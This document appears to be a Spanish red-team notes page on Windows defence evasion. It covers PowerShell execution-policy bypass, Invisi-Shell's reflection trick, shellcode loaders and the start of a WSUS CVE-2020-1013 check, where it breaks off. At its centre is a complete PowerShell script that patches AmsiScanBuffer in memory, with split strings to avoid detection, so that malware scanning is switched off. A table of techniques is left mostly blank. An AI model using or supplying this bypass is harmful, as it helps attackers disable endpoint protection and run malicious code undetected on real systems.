AMSI es una interfaz de seguridad en Windows diseñada para detectar scripts maliciosos en tiempo de ejecución, escaneándolos antes de ser ejecutados.
Habilitar ejecución de scripts
El siguiente comando permite modificar la política de PowerShell de forma que se permita la ejecución de todos los scripts sin firmar y sin aplicar restricciones ni advertencias (-exec bypass). Además, no se carga el perfil del usuario, lo que permite evadir posibles restricciones (-nop).
powershell -nop -exec bypass
Invisi-Shell
Invisi-Shell abusa de una técnica conocida como Reflection (reflexión) en .NET para cargar e invocar directamente las funciones internas del motor de PowerShell en memoria. Esto evita el uso explícito de powershell.exe o pwsh.exe, lo cual es comúnmente monitorizado por soluciones de seguridad.
Carga dinámicamente la librería System.Management.Automation.dll, que contiene el motor de PowerShell embebido. Usando System.Reflection, instancia clases como PowerShell o Runspace sin tener que lanzar un proceso.
En la siguiente tabla se enumeran algunos scripts que permiten la evasión. También se indica la última fecha en la que he podido ejecutar el script sin restricción:
Windows 10
Fecha
Técnica / Payload
15/10/2024
15/10/2024
15/10/2024
Por ejemplo:
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
Loaders
Artefacto de carga (loader) cuya función principal es facilitar la ejecución de shellcode de forma sigilosa. Implementa técnicas de evasión para minimizar la detección y suele ser el único componente persistente en disco durante la operación.
WSUS (Windows Server Update Services) es un servicio que permite gestionar la distribución de actualizaciones en redes corporativas con sistemas Windows.
Es un servidor centralizado que descarga y distribuye parches de seguridad y actualizaciones en los clientes de la red local.
Para comprobar si el servidor WSUS es vulnerable a CVE-2020-1013, se tienen que dar dos condiciones:
El servidor WSUS tiene que utilizar el protocolo HTTP en vez de HTTPS. Para comprobar cuál servidor WSUS se está utilizando: